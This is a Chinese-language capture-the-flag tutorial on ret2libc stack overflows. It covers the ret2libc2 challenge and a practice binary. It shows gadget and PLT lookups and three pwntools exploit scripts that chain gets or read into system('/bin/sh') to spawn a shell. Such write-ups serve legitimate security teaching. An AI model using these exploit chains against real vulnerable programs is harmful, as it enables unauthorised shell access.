原理
ret2libc即控制函数执行libc中的函数,通常是返回至某个函数plt表处或者函数的具体位置(即函数对应的got表项的内容),一般情况下我们选择执行system("/bin/sh"),故而我们需要知道system函数的地址
过程
下载地址:url
checksec
IDA分析
- gets函数
- system函数
经计算gets字符串和ebp的偏移为108,这里不进行赘述
查找bin/sh
ROPgadget --binary ret2libc2 --string "/bin/sh"
Strings information
============================================================
没有该字符串
查看plt表
root@ubuntu:/mnt/wiki# objdump -d ret2libc2 | grep "plt"
8048435: e8 66 00 00 00 call 80484a0 <__gmon_start__@plt>
Disassembly of section .plt:
08048440 <printf@plt-0x10>:
08048450 <printf@plt>:
08048460 <gets@plt>:
08048470 <time@plt>:
08048480 <puts@plt>:
08048490 <system@plt>:
080484a0 <__gmon_start__@plt>:
080484b0 <srand@plt>:
080484c0 <__libc_start_main@plt>:
080484d0 <setvbuf@plt>:
080484e0 <rand@plt>:
080484f0 <__isoc99_scanf@plt>:
804851c: e8 9f ff ff ff call 80484c0 <__libc_start_main@plt>
804860a: e8 61 fe ff ff call 8048470 <time@plt>
8048612: e8 99 fe ff ff call 80484b0 <srand@plt>
8048617: e8 c4 fe ff ff call 80484e0 <rand@plt>
804862d: e8 be fe ff ff call 80484f0 <__isoc99_scanf@plt>
8048641: e8 4a fe ff ff call 8048490 <system@plt>
8048671: e8 5a fe ff ff call 80484d0 <setvbuf@plt>
8048696: e8 35 fe ff ff call 80484d0 <setvbuf@plt>
80486a2: e8 d9 fd ff ff call 8048480 <puts@plt>
80486ae: e8 9d fd ff ff call 8048450 <printf@plt>
80486ba: e8 a1 fd ff ff call 8048460 <gets@plt>
发现gets函数,可以利用gets函数进行读取/bin/sh字符串,读取这个字符串一般放在bss段,利用IDA进行查找。
发现0x0804A080处存在一个buf2的buffer
需要查看其是否可读可写。
是可写的
于是有了两种exp的写法
第一种
还需要查找一个pop;ret指令的地址
root@ubuntu:/mnt/wiki# ROPgadget --binary ret2libc2 --only "pop|ret"
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1
使用:
0x0804843d : pop ebx ; ret
//pop出栈,esp上行+4,并将出栈的值赋给ebx
//ret,esp又上行+4
这里pop什么不重要,ebx可以,eax可以,ecx也可以。最主要是需要移动esp指针,使其+8,上移。
之后就可以编写exp了。
from pwn import *
bss_addr = 0x0804A080
gets_plt = 0x08048460
sys_plt = 0x08048490
pop_ret = 0x0804843d
io=process('./ret2libc2')
io.recvuntil('What do you think ?')
payload = flat(['a' * 112 , gets_plt , pop_ret , bss_addr , sys_plt , 'bbbb' , bss_addr])
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
使用exp中的payload,程序栈结构如下:
另一种exp
- 不需要pop;ret指令进行辅助
- 直接将gets函数的返回地址设为system函数
from pwn import *
bss_addr = 0x0804A080
gets_plt = 0x08048460
sys_plt = 0x08048490
io=process('./ret2libc2')
io.recvuntil('What do you think ?')
payload = 'A'*112 + p32(gets_plt) + p32(sys_plt) + p32(bss_addr) + p32(bss_addr)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
~
其栈结构如下:
之后将/bin/sh字符串写入到buf2处即可
练习题
gets函数换成了read函数,其余没变
下载地址
//链接不知道什么时候失效
checksec + IDA分析
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# checksec rop
[*] '/mnt/hgfs/ubuntu_share/pwn/wiki/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- 32位程序
- plt,got表可查可写
- read函数读取字符串,只有0x48的空间,但读进来0x100长度
- 势必造成栈溢出
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary rop --string "/bin/sh"
Strings information
============================================================
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# objdump -d rop | grep "plt"
Disassembly of section .plt:
08049020 <setbuf@plt-0x10>:
08049030 <setbuf@plt>:
08049040 <read@plt>:
08049050 <puts@plt>:
08049060 <system@plt>:
08049070 <__libc_start_main@plt>:
08049080 <memset@plt>:
08049090 <putchar@plt>:
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary rop --only "pop|ret"
Gadgets information
============================================================
0x08049320 : pop eax ; pop ebx ; ret
0x0804938b : pop ebp ; ret
0x08049388 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804901e : pop ebx ; ret
0x0804938a : pop edi ; pop ebp ; ret
0x08049389 : pop esi ; pop edi ; pop ebp ; ret
0x0804900a : ret
0x0804914b : ret 0xe8c1
function read
这里说一下read函数和gets函数的区别:
- gets函数只有一个参数,就是字符串的地址
- 在pwn中,一般我们调用plt表中gets函数,传递两个参数,第一个是返回地址,第二个是要写入字符串的地址,如上面例题所说的一样
- read函数有三个参数,其函数原型为read(int fd, void * buf, size_t count)
- fd这个参数的位置上会出现三种情况,
- 0.代表stdin(标准输入)
- 1.代表 stdout(标准输出)
- 2.代表 stderr(标准错误)
- buf为指向缓冲区的字符指针,也就是写入字符串的地址
- count为写入的字节数
- fd这个参数的位置上会出现三种情况,
exp编写
read函数比gets函数多了两个参数,所以需要pop三次。
选择如下:
0x08049389 : pop esi ; pop edi ; pop ebp ; ret
from pwn import *
bss_addr = 0x0804C030
read_plt = 0x08049040
sys_plt = 0x08049060
pop_ret = 0x08049389
io=process('./rop')
io.recv()
payload = flat(['a' * 76 , read_plt , pop_ret , 0 , bss_addr, 0x7, sys_plt , 'bbbb' , bss_addr])
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
此时的栈结构为:
注
- BSS段通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0。